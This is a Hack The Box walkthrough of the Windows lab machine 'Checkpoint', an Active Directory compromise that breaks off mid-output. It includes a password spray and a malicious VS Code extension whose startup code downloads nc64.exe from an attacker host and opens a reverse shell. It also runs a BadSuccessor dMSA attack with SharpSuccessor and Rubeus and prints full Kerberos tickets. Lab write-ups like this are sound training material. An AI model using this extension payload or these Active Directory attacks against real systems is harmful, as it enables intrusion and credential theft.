Hack The Box / WINDOWS / 2026-10-24
Hack The Box — Checkpoint (Windows)
We restore a deleted user in the domain, and we find that it has the same password as the user we have credentials for. We write a malicious VS Code extension into a share, which gives us a reverse shell as another user. We find that this user has GenericWrite permissions on a service account, and we perform a BadSuccessor attack to impersonate it and get a shell. We use VMkatz to extract credentials from the files in the VMBackups share, which allows us to get a shell as the administrator.
Machine information
As is common in real life pentests, you will start the Checkpoint box with credentials for the following account alex.turner / Checkpoint2024!
Target
- IP:
10.129.20.161
Port scan
sudo nmap -sC -sV 10.129.20.161 -p- -v
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-14 02:37:29Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Add checkpoint.htb to /etc/hosts.
Initial enumeration
Let's check smb:
nxc smb 10.129.20.161 -u 'alex.turner' -p 'Checkpoint2024!' --shares
SMB 10.129.20.161 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.20.161 445 DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024!
SMB 10.129.20.161 445 DC01 [*] Enumerated shares
SMB 10.129.20.161 445 DC01 Share Permissions Remark
SMB 10.129.20.161 445 DC01 ----- ----------- ------
SMB 10.129.20.161 445 DC01 ADMIN$ Remote Admin
SMB 10.129.20.161 445 DC01 C$ Default share
SMB 10.129.20.161 445 DC01 DevDrop READ VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB 10.129.20.161 445 DC01 IPC$ READ Remote IPC
SMB 10.129.20.161 445 DC01 NETLOGON READ Logon server share
SMB 10.129.20.161 445 DC01 SYSVOL READ Logon server share
SMB 10.129.20.161 445 DC01 VMBackups
Add dc01.checkpoint.htb to /etc/hosts.
We can get a list of users in the domain:
nxc smb dc01.checkpoint.htb -d checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' --rid-brute 5000 | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users.txt
Let's connect to the DevDrop share:
smbclient -U alex.turner //10.129.20.161/DevDrop
# Insert the password: Checkpoint2024!
dir
It's empty. And we cannot upload files into it.
Let's enumerate the domain with bloodhound. First, we have to run a collector, for example rusthound. We need a kerberos ticket:
getTGT.py -dc-ip 10.129.20.161 checkpoint.htb/alex.turner:'Checkpoint2024!'
[*] Saving ticket in alex.turner.ccache
export KRB5CCNAME=alex.turner.ccache
Now edit /etc/krb5.conf and put / edit the following lines:
[libdefaults]
default_realm = CHECKPOINT.HTB
[...]
[realms]
CHECKPOINT.HTB = {
kdc = dc01.checkpoint.htb
admin_server = dc01.checkpoint.htb
}
[...]
[domain_realm]
.checkpoint.htb = CHECKPOINT.HTB
checkpoint.htb = CHECKPOINT.HTB
Now we can run rusthound:
./rusthound -d checkpoint.htb -u alex.turner@checkpoint.htb -k -f dc01.checkpoint.htb -i 10.129.20.161 -n 10.129.20.161 --dns-tcp -z
A .zip file has been created. Let's run bloodhound. On Kali Linux you can run:
sudo bloodhound
However, looking at alex.turner in bloodhound, we don't see anything interesting. Let's use bloodyad to get the entities that alex.turner has write permissions on.
Download bloodyad (https://github.com/CravateRouge/bloodyAD), then run:
python3 bloodyAD/bloodyAD.py --host 'dc01.checkpoint.htb' -d checkpoint.htb --dc-ip 10.129.20.161 -u 'alex.turner' -k get writable
distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD
distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD
Restoring a deleted user
So it seems that alex.turner has write permissions on the Deleted Objects container. This means that we can restore deleted objects in the domain. We see that there is a deleted user Mark Davies. Let's try to restore it.
python3 bloodyAD/bloodyAD.py --host 'dc01.checkpoint.htb' -d checkpoint.htb --dc-ip 10.129.20.161 -u 'alex.turner' -k set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
We have successfully restored the user Mark Davies. We have write permissions on him, thus we can perform a shadow credentials attack on him or a targeted kerberoasting attack. Both these attacks don't work.
Password spray
We can try spraying the password of alex.turner. We can use kerbrute (https://github.com/ropnop/kerbrute):
./kerbrute --dc dc01.checkpoint.htb -d checkpoint.htb -v passwordspray users.txt 'Checkpoint2024!'
2026/06/14 04:38:23 > [+] VALID LOGIN: alex.turner@checkpoint.htb:Checkpoint2024!
2026/06/14 04:38:24 > [+] VALID LOGIN: mark.davies@checkpoint.htb:Checkpoint2024!
So mark.davies has the same password as alex.turner. Let's grab a tgt for mark.davies:
getTGT.py -dc-ip 10.129.20.161 checkpoint.htb/mark.davies:'Checkpoint2024!'
[*] Saving ticket in mark.davies.ccache
export KRB5CCNAME=mark.davies.ccache
Now let's check the smb shares with the credentials of mark.davies:
nxc smb 10.129.20.161 -u 'mark.davies' -k --use-kcache --shares
SMB 10.129.20.161 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.20.161 445 DC01 [+] CHECKPOINT.HTB\mark.davies from ccache
SMB 10.129.20.161 445 DC01 [*] Enumerated shares
SMB 10.129.20.161 445 DC01 Share Permissions Remark
SMB 10.129.20.161 445 DC01 ----- ----------- ------
SMB 10.129.20.161 445 DC01 ADMIN$ Remote Admin
SMB 10.129.20.161 445 DC01 C$ Default share
SMB 10.129.20.161 445 DC01 DevDrop READ,WRITE VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB 10.129.20.161 445 DC01 IPC$ READ Remote IPC
SMB 10.129.20.161 445 DC01 NETLOGON READ Logon server share
SMB 10.129.20.161 445 DC01 SYSVOL READ Logon server share
SMB 10.129.20.161 445 DC01 VMBackups
Now we can write in the DevDrop share. The idea is to write a malicious extension for VS Code that runs a reverse shell.
Crafting a malicious VS Code extension
Let's craft a malicious extension:
npx --package yo --package generator-code -- yo code
An interactive setup wizard will appear. I filled it as follows:
-
Type of extension: New Extension (JavaScript)
-
Extension name: myextension
-
Identifier: myextension
In the package.json, edit the activation events to run the extension at startup:
"activationEvents": [
"onStartupFinished"
],
In the extension.js file, put:
const child_process = require('child_process');
[...]
function activate(context) {
child_process.execSync('mkdir C:\\tmp');
child_process.execSync('curl http://10.10.16.116:5555/nc64.exe -o C:\\tmp\\nc64.exe');
child_process.execSync('C:\\tmp\\nc64.exe -e cmd.exe 10.10.16.116 4444');
[...]
Edit the Readme.md. Then, to create the vsix, run:
npm install -g @vscode/vsce
vsce package --allow-missing-repository
DONE Packaged: /home/kali/tmp/checkpoint/myextension/myextension/myextension-0.0.1.vsix (6 files, 2.69 KB)
Now, download nc64.exe (https://github.com/int0x33/nc.exe/) and start a python http server to serve it:
python3 -m http.server 5555
Start a netcat listener for the reverse shell:
rlwrap nc -vlnp 4444
Now, connect to the remote share:
smbclient -U mark.davies //10.129.20.161/DevDrop
# Insert the password: Checkpoint2024!
Upload the malicious extension:
put myextension-0.0.1.vsix
Wait some time. We get a reverse shell.
whoami
checkpoint\ryan.brooks
We are now ryan.brooks.
From bloodhound we see that ryan.brooks has a GenericWrite relationship on svc_deploy.
To find if there are other interesting ACLs that ryan.brooks has, we can use the cmdlet Find-InterestingDomainACL from PowerView.ps1 (https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/PowerView.ps1).
Upload PowerView.ps1 on the target machine and run:
. .\PowerView.ps1
Find-InterestingDomainACL
We find these interesting ACLs:
ObjectDN : OU=DMSAHolder,DC=checkpoint,DC=htb
AceQualifier : AccessAllowed
ActiveDirectoryRights : CreateChild
ObjectAceType : None
ContainerInherit :
AceType : AccessAllowed
InheritanceFlags : ContainerInherit
SecurityIdentifier : S-1-5-21-3129162710-3498938529-1807524340-1103
IdentityReferenceName : ryan.brooks
IdentityReferenceDomain : checkpoint.htb
IdentityReferenceDN : CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IdentityReferenceClass : user
ObjectDN : CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericWrite
ObjectAceType : None
gs : ContainerInherit
AceType : AccessAllowed
InheritanceFlags : ContainerInherit
SecurityIdentifier : S-1-5-21-3129162710-3498938529-1807524340-1103
IdentityReferenceName : ryan.brooks
IdentityReferenceDomain : checkpoint.htb
IdentityReferenceDN : CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IdentityReferenceClass : user
So ryan.brooks has GenericWrite permissions on svc_deploy and has CreateChild permissions on the OU DMSAHolder. This OU seems related to dMSA accounts, so we could try to perform a BadSuccessor attack.
BadSuccessor attack
Firstly, let's check if the attack can be performed. We can use Get-BadSuccessorOUPermissions.ps1 from (https://github.com/akamai/BadSuccessor)
. .\Get-BadSuccessorOUPermissions.ps1
Get-BadSuccessorOUPermissions
Identity OUs
-------- ---
CHECKPOINT\ryan.brooks {OU=DMSAHolder,DC=checkpoint,DC=htb}
CHECKPOINT\alex.turner {OU=Employees,DC=checkpoint,DC=htb}
So we can perform the attack. We can use SharpSuccessor.exe (https://github.com/logangoins/SharpSuccessor), which automates many steps of the attack. We would like to impersonate svc_deploy to perform the attack, because we have GenericWrite permissions on it and thus we can write the required attributes on it:
.\SharpSuccessor.exe add /impersonate:svc_deploy /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:attacker_dmsa
[+] Adding dnshostname attacker_dmsa.checkpoint.htb
[+] Adding samaccountname attacker_dmsa$
[+] svc_deploy's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=attacker_dmsa' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=attacker_dmsa,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object
[+] msDS-SupersededServiceAccountState set to 2
[+] Wrote to target account successfully
Now we follow the steps in the repository of SharpSuccessor:
.\Rubeus.exe tgtdeleg /nowrap
[*] base64(ticket.kirbi):
doIF1DCCBdCgAwIBBaEDAgEWooIE0DCCBMxhggTIMIIExKADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DSEVDS1BPSU5ULkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRuMZPd3setl9RAp6Yk3m2Y5aKN0CvK3j3nxfh8UGUeU8i0Hmjho5LZMe/DF5IvYHnQZ8ipFuMlpxOTm9ni1F/6UGD/pITnUbPdQ2Ch2rXqSx2va1s14gtFu97M1iZ143Z5IIVq77a1Dn/Sw21rxzXFKMDx22IAj/0EyFqdshtwDJO1zwUmx/foD8FBV5+RV2k6oKAVNOoj2uK5WjWQvRB0oh6YiwwJfgqWpyl0Hb7HnPN2K8iIUsj7ZaAo7xYqrrxIZwdX6tKqba6+ZP5klhiJ2kkraMfasu51sAF6lbXfcePiMrnSjT78PVDrhZFTmcuKpRHAsPV4l7VwHDsudrNemr0mXppgWKoioIpAftSWrQsMagwkRs9X3J0QLVbgTaAghWMEu6+dyZiJk2V4T2axO9hrw0n33elNsM9zrFtLeMuR4kKPr7ZY08qES6LZOQ619mcYflG63Gvj170zzRMDLmYQfsF1Y1Q9YFhPLo5CflgLdmf+yceHYKHeFrvybO5DRnnpWMtHeUfi6SLIzSVke7XcW8MmLIObXjwLzNCVgfwLSB8RQYF8OJNB15lgGq+k5KPzREOopTQArqnTcv0TpL7LiZuCF2QVBQ6lU12vhYMURCOs2O0+EjEhgD3KkLXFSRw5GjSzTShJlXKGd+8u83j5tcXg0AUYlbPXkgORW4XQ4h9YE2YNBR3lZFHLtCzjGHrzpDaYSIODQy67iRNvnx2vLz1r/446HeZHFHQRNTNG/qSgxjR2Yj4U0tDX6+Xt2EJN28IbaNxQeT4RWhGvA7U99NGBnyAPJd2bqHuI+iNkXzD0z5RPz9IZmIwYbV65SUBipu7lPj06OM60auNVhLomytd4BSs9LqHggFzqhajx+TfU1Bi6VL7IdQNQK4uPmLOb3mZ8cCV+S4DvaxWp2NrOPZLgkbGcLkitmUTW69t99FiuyxgOGI2LTxqh8rop3eDrItH41UYuxHRatbIFHhvRqOOE5F5g5pOYucljRum+2hW29/Q6/D9NW3xhFzdvyKj/ne2+o5IhF0VGJSbTAdBH34Edphv8JLDa2DZkMfTWwA95YFeW6NhE0edyzLv2umVYmelqHW2ynOM/6UIMvzeLGKJWCu92JzxQJs9fggf/tD9QWbRwjjJCX+aK0fTnNVLcttWrEDE1/w758vO3cFv4djkVir/MFl4NuKnKHu7uVY6sSlLWqS0F2Mp9N4K/lQatrTMOTUZMxZwFUULhfM8JeBBwHyPYhflXJbQEqrbEBPuEottNso1xsfWQWCe5wlXp7hMlH3Y0TWrHIrmH8WKLuGfeTPhnz/uPnYGJkL8fNgFV64RHK9e6VBGWgbzhneNAFVdPFLujc0mq1N98k9TWSzT76sw7lVfHN2+8tBafAAF1M7G8EsdS3J8jTCUI2cIc/wCUFVxKd4mx8woc2DF86raDS5mX86sqVlLh3l6AJPTA5ZonGaPMdTP3wycVIZPFHINmlg50Ftn5L3jphpMm7/VXuidbrj9NDhNMo4HvMIHsoAMCAQCigeQEgeF9gd4wgduggdgwgdUwgdKgKzApoAMCARKhIgQgfcMcgB9RTsbY3/nkaXrkSc7tbI5pneTkjDMgpNUPJGShEBsOQ0hFQ0tQT0lOVC5IVEKiGDAWoAMCAQGhDzANGwtyeWFuLmJyb29rc6MHAwUAYKEAAKURGA8yMDI2MDYxNDIxMTIxOVqmERgPMjAyNjA2MTUwNzEyMTlapxEYDzIwMjYwNjIxMjExMjE5WqgQGw5DSEVDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=
.\Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:"doIF1DCCBdCgAwIBBaEDAgEWooIE0DCCBMxhggTIMIIExKADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DSEVDS1BPSU5ULkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRuMZPd3setl9RAp6Yk3m2Y5aKN0CvK3j3nxfh8UGUeU8i0Hmjho5LZMe/DF5IvYHnQZ8ipFuMlpxOTm9ni1F/6UGD/pITnUbPdQ2Ch2rXqSx2va1s14gtFu97M1iZ143Z5IIVq77a1Dn/Sw21rxzXFKMDx22IAj/0EyFqdshtwDJO1zwUmx/foD8FBV5+RV2k6oKAVNOoj2uK5WjWQvRB0oh6YiwwJfgqWpyl0Hb7HnPN2K8iIUsj7ZaAo7xYqrrxIZwdX6tKqba6+ZP5klhiJ2kkraMfasu51sAF6lbXfcePiMrnSjT78PVDrhZFTmcuKpRHAsPV4l7VwHDsudrNemr0mXppgWKoioIpAftSWrQsMagwkRs9X3J0QLVbgTaAghWMEu6+dyZiJk2V4T2axO9hrw0n33elNsM9zrFtLeMuR4kKPr7ZY08qES6LZOQ619mcYflG63Gvj170zzRMDLmYQfsF1Y1Q9YFhPLo5CflgLdmf+yceHYKHeFrvybO5DRnnpWMtHeUfi6SLIzSVke7XcW8MmLIObXjwLzNCVgfwLSB8RQYF8OJNB15lgGq+k5KPzREOopTQArqnTcv0TpL7LiZuCF2QVBQ6lU12vhYMURCOs2O0+EjEhgD3KkLXFSRw5GjSzTShJlXKGd+8u83j5tcXg0AUYlbPXkgORW4XQ4h9YE2YNBR3lZFHLtCzjGHrzpDaYSIODQy67iRNvnx2vLz1r/446HeZHFHQRNTNG/qSgxjR2Yj4U0tDX6+Xt2EJN28IbaNxQeT4RWhGvA7U99NGBnyAPJd2bqHuI+iNkXzD0z5RPz9IZmIwYbV65SUBipu7lPj06OM60auNVhLomytd4BSs9LqHggFzqhajx+TfU1Bi6VL7IdQNQK4uPmLOb3mZ8cCV+S4DvaxWp2NrOPZLgkbGcLkitmUTW69t99FiuyxgOGI2LTxqh8rop3eDrItH41UYuxHRatbIFHhvRqOOE5F5g5pOYucljRum+2hW29/Q6/D9NW3xhFzdvyKj/ne2+o5IhF0VGJSbTAdBH34Edphv8JLDa2DZkMfTWwA95YFeW6NhE0edyzLv2umVYmelqHW2ynOM/6UIMvzeLGKJWCu92JzxQJs9fggf/tD9QWbRwjjJCX+aK0fTnNVLcttWrEDE1/w758vO3cFv4djkVir/MFl4NuKnKHu7uVY6sSlLWqS0F2Mp9N4K/lQatrTMOTUZMxZwFUULhfM8JeBBwHyPYhflXJbQEqrbEBPuEottNso1xsfWQWCe5wlXp7hMlH3Y0TWrHIrmH8WKLuGfeTPhnz/uPnYGJkL8fNgFV64RHK9e6VBGWgbzhneNAFVdPFLujc0mq1N98k9TWSzT76sw7lVfHN2+8tBafAAF1M7G8EsdS3J8jTCUI2cIc/wCUFVxKd4mx8woc2DF86raDS5mX86sqVlLh3l6AJPTA5ZonGaPMdTP3wycVIZPFHINmlg50Ftn5L3jphpMm7/VXuidbrj9NDhNMo4HvMIHsoAMCAQCigeQEgeF9gd4wgduggdgwgdUwgdKgKzApoAMCARKhIgQgfcMcgB9RTsbY3/nkaXrkSc7tbI5pneTkjDMgpNUPJGShEBsOQ0hFQ0tQT0lOVC5IVEKiGDAWoAMCAQGhDzANGwtyeWFuLmJyb29rc6MHAwUAYKEAAKURGA8yMDI2MDYxNDIxMTIxOVqmERgPMjAyNjA2MTUwNzEyMTlapxEYDzIwMjYwNjIxMjExMjE5WqgQGw5DSEVDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI="
[*] base64(ticket.kirbi):
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
ServiceName : krbtgt/CHECKPOINT.HTB
ServiceRealm : CHECKPOINT.HTB
UserName : attacker_dmsa$ (NT_PRINCIPAL)
UserRealm : checkpoint.htb
StartTime : 6/14/2026 2:12:55 PM
EndTime : 6/14/2026 2:27:55 PM
RenewTill : 6/21/2026 2:12:19 PM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : xRH8ZMjeiuKDmH1xhDO2fmcZk4qsBpAf6boc4OC9PcE=
Current Keys for attacker_dmsa$: (aes256_cts_hmac_sha1) EFCA4B701086355F9A2B4A2C242539EDD1B146657BB6975117D947715863F8EF
Now we can request a tgs for a service. We can choose the cifs service on the domain controller. From bloodhound we see that svc_deploy is a member of the BackupAccess group, and there is a network share called VMBackups, so it is likely that svc_deploy has permissions to read the files in this share.
.\Rubeus.exe asktgs /user:attacker_dmsa$ /service:cifs/dc01.checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:"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"
[*] base64(ticket.kirbi):
